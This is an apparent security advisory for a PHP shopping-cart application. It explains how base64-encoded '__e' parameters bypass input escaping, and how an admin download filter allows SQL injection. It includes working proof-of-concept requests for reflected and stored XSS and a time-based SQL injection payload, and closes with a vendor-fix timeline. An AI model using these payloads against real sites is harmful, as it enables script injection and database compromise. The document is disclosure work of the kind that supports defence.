By default all user input is escaped using htmlspecialchars so it's impossible to get XSS.
File: core\lib\request.php
public function __construct() {
$_GET = $this->clean($_GET);
$_POST = $this->clean($_POST);
$_COOKIE = $this->clean($_COOKIE);
$_FILES = $this->clean($_FILES);
$_SERVER = $this->clean($_SERVER);
$this->get = $_GET;
$this->post = $_POST;
$this->cookie = $_COOKIE;
$this->files = $_FILES;
$this->server = $_SERVER;
//check if there is any encrypted data
if ( has_value($this->get['__e'])) {
$this->get = array_replace_recursive($this->get, $this->decodeURI($this->get['__e']));
}
if ( has_value($this->post['__e'])) {
$this->post = array_replace_recursive($this->post, $this->decodeURI($this->post['__e']));
}
$this->_detectBrowser();
}
public function clean($data) {
if (is_array($data)) {
foreach ($data as $key => $value) {
unset($data[$key]);
$data[$this->clean($key)] = $this->clean($value);
}
} else {
$data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8');
}
return $data;
}
But we can pass __e value which is base64 encoded and unfortunatelly those datas are not cleaned.
File: admin\controller\responses\product\product.php
public function decodeURI($uri) {
$parms = array();
$open_uri = base64_decode($uri);
$split_parameters = explode('&', $open_uri);
for($i = 0; $i < count($split_parameters); $i++) {
$final_split = explode('=', $split_parameters[$i]);
$parms[$final_split[0]] = $final_split[1];
}
return $parms;
}
So we know method for omit XSS filter.
For example address_1="><script>alert(2);</script>& can be encoded as: __e=YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m
Also it seems that subsql_filter inside admin panel are not properly escaped, for example:
File: core\lib\request.php
if($this->request->post['id']){
$downloads = $this->model_catalog_download->getDownloads(array('subsql_filter' => ' shared = 1 AND d.download_id IN (' . implode(',', $this->request->post['id']) . ')'));
}
Proof of Concept
Example reflected XSS:
http://url/index.php?rt=product/category&path=68_69&__e=c29ydD0iPjxzY3JpcHQ%2BYWxlcnQoMSk7PC9zY3JpcHQ%2BLURFU0Mm
For stored XSS create new order and set address_1 as __e using for example Burp.
POST /index.php?rt=checkout/guest_step_1 HTTP/1.1
Host: url
Content-Length: 1857
Cache-Control: max-age=0
Accept: text/html
Origin: http://url
Content-Type: multipart/form-data; boundary=--------1738959474
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
----------1738959474
Content-Disposition: form-data; name="firstname"
aaa
----------1738959474
Content-Disposition: form-data; name="lastname"
aaa
----------1738959474
Content-Disposition: form-data; name="email"
example@example.com
----------1738959474
Content-Disposition: form-data; name="telephone"
aaa
----------1738959474
Content-Disposition: form-data; name="fax"
aaa
----------1738959474
Content-Disposition: form-data; name="company"
aaa
----------1738959474
Content-Disposition: form-data; name="address_1"
----------1738959474
Content-Disposition: form-data; name="address_2"
----------1738959474
Content-Disposition: form-data; name="city"
aaa
----------1738959474
Content-Disposition: form-data; name="zone_id"
3613
----------1738959474
Content-Disposition: form-data; name="postcode"
aaa
----------1738959474
Content-Disposition: form-data; name="country_id"
223
----------1738959474
Content-Disposition: form-data; name="shipping_firstname"
----------1738959474
Content-Disposition: form-data; name="shipping_lastname"
----------1738959474
Content-Disposition: form-data; name="shipping_company"
----------1738959474
Content-Disposition: form-data; name="shipping_address_1"
----------1738959474
Content-Disposition: form-data; name="shipping_address_2"
----------1738959474
Content-Disposition: form-data; name="shipping_city"
----------1738959474
Content-Disposition: form-data; name="shipping_zone_id"
FALSE
----------1738959474
Content-Disposition: form-data; name="shipping_postcode"
----------1738959474
Content-Disposition: form-data; name="shipping_country_id"
223
----------1738959474
Content-Disposition: form-data; name="__e"
YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m
----------1738959474--
For SQL Injection:
POST /index.php?rt=product/product/downloads&s=admin&token=%token% HTTP/1.1
Host: url
Accept: text/html
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
id[]=0)%20or%20SLEEP(5)%20--%20a
Timeline
- 11-06-2016: Discovered
- 11-06-2016: Vendor notified
- 13-08-2016: Version 1.2.8 released, issue resolved